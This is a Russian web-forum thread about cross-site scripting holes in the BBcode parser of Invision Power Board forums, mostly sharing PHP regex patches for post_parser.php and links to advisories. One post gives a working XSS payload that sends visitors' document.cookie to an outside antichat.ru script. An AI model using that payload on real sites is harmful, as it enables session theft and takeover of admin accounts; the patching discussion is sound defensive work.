Перейти к контенту

Уязвимости форумов Invision Power Board


Рекомендуемые сообщения

  • Ответы 1,2k
  • Создана
  • Последний ответ

Лучшие авторы в этой теме

Лучшие авторы в этой теме

Загружено фотографий

ну мне неудалось с помощью снифера на античате получить куки...

что то как то все....

в общем, ждем что скажут знающие люди...

Ссылка на комментарий
Поделиться на других сайтах

У меня не получается сделать с помощью color и img.

У меня 1.2

Есть подозрение, что данную XSS аттаку отражает давнишний патч для форумов инвижен (больше года ему).

Он видимо как раз и запрещает такую фигню. У меня он установлен, видимо поэтому и не получилось.

Ссылка на комментарий
Поделиться на других сайтах

Люди, подскажите, это реальная дыра или так, преувеличение?... Дело в том, что мне как-то писали на мэйл некоторые личности о том, что у меня форум дефэйсить можно, причем легко... и именно этим способом... но настолько подробные инструкции по взлому самому впервые приходится видеть...

 

и еще вопрос к Terabyte, как ты закомментировал и это вообще эффективно?

 

Заранее благодарен...

Ссылка на комментарий
Поделиться на других сайтах

я вот это на форум слал у меня получилось

 

[COLOR=[IMG=http://aaa.aa/=`aaa.jpg]]` style=background:url(javascript:document.images[68].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie) [/COLOR]

на ипб 2.0

Ссылка на комментарий
Поделиться на других сайтах

Да так и есть.

После того патча последовательность

[color=[IMG=http://aaaaa/aaajpg]]bla-bla-bla[/color]

просто не парсится.

Добавлено в [mergetime]1105533419[/mergetime]

Вот пост: http://forum.sources.ru/index.php?showtopi...ndpost&p=573937

Ссылка на комментарий
Поделиться на других сайтах

DINI

да я уж не помню, ищи на securitylab.ru

ищи по XSS аттака.

Добавлено в [mergetime]1105534256[/mergetime]

FlameAI

так можно дефейсить только в том случае, если админ запустит вредоносный ява скрипт, будучи залогинеенным под своим ником.

Ссылка на комментарий
Поделиться на других сайтах

Song

Нашел. Спасибо.

Вот решение для IPB 1.3 (взято с securitylab.ru)

 

Открыть sources/lib/post_parser.php и заменить строки

while ( preg_match( "#\[font=([^\]]+)\](.*?)\[/font\]#ies", $txt ) )
{
$txt = preg_replace( "#\[font=([^\]]+)\](.*?)\[/font\]#ies"    , 
"\$this->regex_font_attr(array('s'=>'font','1'=>'\\1','2'=>'\\2'))", $txt );
}

while( preg_match( "#\[color=([^\]]+)\](.+?)\[/color\]#ies", $txt ) )
{
$txt = preg_replace( "#\[color=([^\]]+)\](.+?)\[/color\]#ies"  , 
"\$this->regex_font_attr(array('s'=>'col' ,'1'=>'\\1','2'=>'\\2'))", $txt );
}

на эти:

while ( preg_match( "#\[font=([^;<>\*\(\)\]\"']*)\](.*?)\[/font\]#ies", $txt 
) )
{
$txt = preg_replace( "#\[font=([^;<>\*\(\)\"']*)\](.*?)\[/font\]#ies"    , 
"\$this->regex_font_attr(array('s'=>'font','1'=>'\\1','2'=>'\\2'))", $txt );
}

while( preg_match( "#\[color=([a-zA-Z0-9]*)\](.+?)\[/color\]#ies", $txt ) )
{
$txt = preg_replace( "#\[color=([a-zA-Z0-9]*)\](.+?)\[/color\]#ies"  , 
"\$this->regex_font_attr(array('s'=>'col' ,'1'=>'\\1','2'=>'\\2'))", $txt );
}

Ссылка на комментарий
Поделиться на других сайтах

Нет. Только два. Уязвимость нашли для тэгов Font и Color.

Впрочем, вот ссылка на оригинал: Межсайтовый скриптинг в Invision Power Board

Ссылка на комментарий
Поделиться на других сайтах

а лучше на

 

while ( preg_match( "#\[font=([a-zA-Z]*)\](.*?)\[/font\]#is", $txt 
) )
{
$txt = preg_replace( "#\[font=([a-zA-Z]*)\](.*?)\[/font\]#ies"    , 
"\$this->regex_font_attr(array('s'=>'font','1'=>'\\1','2'=>'\\2'))", $txt );
}

while( preg_match( "#\[color=([a-zA-Z0-9]*)\](.+?)\[/color\]#is", $txt ) )
{
$txt = preg_replace( "#\[color=([a-zA-Z0-9]*)\](.+?)\[/color\]#ies"  , 
"\$this->regex_font_attr(array('s'=>'col' ,'1'=>'\\1','2'=>'\\2'))", $txt );
}

Добавлено в [mergetime]1105562288[/mergetime]

Решение которое мы использовали на нашем форуме

 

     while ( preg_match( "#\[size=([0-9]+)\](.+?)\[/size\]#ies", $txt ) )
   { 
  	 $txt = preg_replace( "#\[size=([0-9]+)\](.+?)\[/size\]#ies"    , "\$this->regex_font_attr(array('s'=>'size','1'=>'\\1','2'=>'\\2'))", $txt );
   } 
     
   while( preg_match( "#\[color=([a-zA-Z]+)\](.+?)\[/color\]#is", $txt ) )
   { 
  	 $txt = preg_replace( "#\[color=([a-zA-Z]+)\](.+?)\[/color\]#ies"  , "\$this->regex_font_attr(array('s'=>'col' ,'1'=>'\\1','2'=>'\\2'))", $txt );
   }
     
  	 
	 while ( preg_match( "#\[font=([a-zA-Z]+)\](.*?)\[/font\]#is", $txt ) )
	 { 
   $txt = preg_replace( "#\[font=([a-zA-Z]+)\](.*?)\[/font\]#ies"    , "\$this->regex_font_attr(array('s'=>'font','1'=>'\\1','2'=>'\\2'))", $txt );
	 }

 

Сразу предупреждаю что будут срабатывать только стандартные тэги цвета, размера и шрифта, любая отсебятена пользователей парситься не будет

Ссылка на комментарий
Поделиться на других сайтах

Вторая версия форума, тоже подверженна подобным уязвимостям, через bb-теги.

Но там как-то все не понятно.

Расскажите как лечить.

:D

Ссылка на комментарий
Поделиться на других сайтах

Исправление уязвимостей найденных Algol с Antichat.ru

 

Уязвимость связанная с extended тэгами , [sound] (Описание уязвимости)

Уязвимы форумы: Русский модифицированный 1.2.x и 1.3.х

 

Исправление производится в файле /sources/lib/post_parser.php

находим:

$txt = preg_replace( "#\[video\](.+?)\[/video\]#is", "<embed width=\"400\" height=\"300\" src=\\1 type=\"application/x-shockwave-video\">", $txt );
$txt = preg_replace( "#\[sound\](.+?)\[/sound\]#is", "<param name=\"BACKGROUNDCOLOR\" <br /><embed src=\\1 align=\"baseline\" border=\"0\" width=\"275\" height=\"40\" type=\"audio/x-pn-realaudio-plugin\" console=\"Clip1\" controls=\"ControlPanel\" autostart=\"true\">", $txt );

заменяем на

$txt = preg_replace( "#\[video\](\S+?)\[/video\]#ies", "\$this->regex_build_src('\\1', 'video')", $txt );
$txt = preg_replace( "#\[sound\](\S+?)\[/sound\]#ies", "\$this->regex_build_src('\\1', 'sound')", $txt );

и перед

function regex_build_url($url=array()) {

добавляем

function regex_build_src($src="", $type) {
 
 if (!$src) return;
   
 // clean up the ampersands
 $src = preg_replace( "/&/" , "&" , $src );
 
 // Make sure we don't have a JS link
 $src = preg_replace( "/javascript:/i", "java script: ", $src );
 
 // Do we have http:// at the front?
 
 if ( ! preg_match("#^(http|ftp)://#", $src ) )
 {
  $src = 'http://'.$src;
 } 

 switch ($type) {
  case 'video': $src="<embed width=\"400\" height=\"300\" src=\"{$src}\" type=\"application/x-shockwave-video\">"; break;
  case 'sound': $src="<param name=\"BACKGROUNDCOLOR\" <br /><embed src=\"{$src}\" align=\"baseline\" border=\"0\" width=\"275\" height=\"40\" type=\"audio/x-pn-realaudio-plugin\" console=\"Clip1\" controls=\"ControlPanel\" autostart=\"true\">"; break;
  default: return;
 }
 
 return $src;
  
}

 

Уязвимость связанная с вложением тэгов в , , (Описание уязвимости)

Уязвимы форумы: IPB версий 1.х.x и 2.0.х

 

Исправление производится в файле /sources/lib/post_parser.php

находим:

while ( preg_match( "#\[size=([^\]]+)\](.+?)\[/size\]#ies", $txt ) )
{
$txt = preg_replace( "#\[size=([^\]]+)\](.+?)\[/size\]#ies"    , "\$this->regex_font_attr(array('s'=>'size','1'=>'\\1','2'=>'\\2'))", $txt );
}
  	
while ( preg_match( "#\[font=([^\]]+)\](.*?)\[/font\]#ies", $txt ) )
{
$txt = preg_replace( "#\[font=([^\]]+)\](.*?)\[/font\]#ies"    , "\$this->regex_font_attr(array('s'=>'font','1'=>'\\1','2'=>'\\2'))", $txt );
}
  	
while( preg_match( "#\[color=([^\]]+)\](.+?)\[/color\]#ies", $txt ) )
{
$txt = preg_replace( "#\[color=([^\]]+)\](.+?)\[/color\]#ies"  , "\$this->regex_font_attr(array('s'=>'col' ,'1'=>'\\1','2'=>'\\2'))", $txt );
}

заменяем на:

while ( preg_match( "#\[size=([0-9]+)\](.+?)\[/size\]#is", $txt ) )
{
$txt = preg_replace( "#\[size=([0-9]+)\](.+?)\[/size\]#ies"    , "\$this->regex_font_attr(array('s'=>'size','1'=>'\\1','2'=>'\\2'))", $txt );
}
  	
while ( preg_match( "#\[font=([a-zA-Z]+)\](.*?)\[/font\]#is", $txt ) )
{
$txt = preg_replace( "#\[font=([a-zA-Z]+)\](.*?)\[/font\]#ies"    , "\$this->regex_font_attr(array('s'=>'font','1'=>'\\1','2'=>'\\2'))", $txt );
}
  	
while( preg_match( "#\[color=([a-zA-Z]+)\](.+?)\[/color\]#is", $txt ) )
{
$txt = preg_replace( "#\[color=([a-zA-Z]+)\](.+?)\[/color\]#ies"  , "\$this->regex_font_attr(array('s'=>'col' ,'1'=>'\\1','2'=>'\\2'))", $txt );
}

Внимание: данный способ решения разрешает только стандартные теги цвета, размера и шрифта. Т.е. те теги которые есть в форме ответа. Тэги вида , , работать не будут!

 

17.01.2005: Официальный патч. По предварительным данным он исправляет уязвимость, указанную выше этого текста.

 

Ссылки по теме:

Описание уязвимостей с www.securitylab.ru

Патч безопасности (№5) для v1.x

Патч безопасности [search.php]

Установка патча безопасности для ssi.php вручную

Установка вручную патча безопасности №2

Установка патча безопасности для 1.3 №1

Новостной раздел нашего форума все официальные исправления выкладываются там.

Раздел Algol'a на Antichat.ru по уязвимостям IPB

Ссылка на комментарий
Поделиться на других сайтах

2.0.х от Винни

дык там весь патч то заключался в одной строчке :D если этого им достаточно то вот

 

в файле post_parser.php внутри функции

 

	function convert($in=array( 'TEXT' => "", 'SMILIES' => 0, 'CODE' => 0, 'SIGNATURE' => 0, 'HTML' => 0))

после

	 $txt = $in['TEXT'];

добавить

	 $txt = str_replace("`", "'", $txt);

все

Ссылка на комментарий
Поделиться на других сайтах

2.0.х от Винни

 

Кстати, в 1.3 тоже вполне работает )).

Ссылка на комментарий
Поделиться на других сайтах

GiV

а лучше на

а чем лучше-то?

Тот вариант, что приведён на securitylub зато позволяет использовать нестандартные цвета.

Ссылка на комментарий
Поделиться на других сайтах


×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.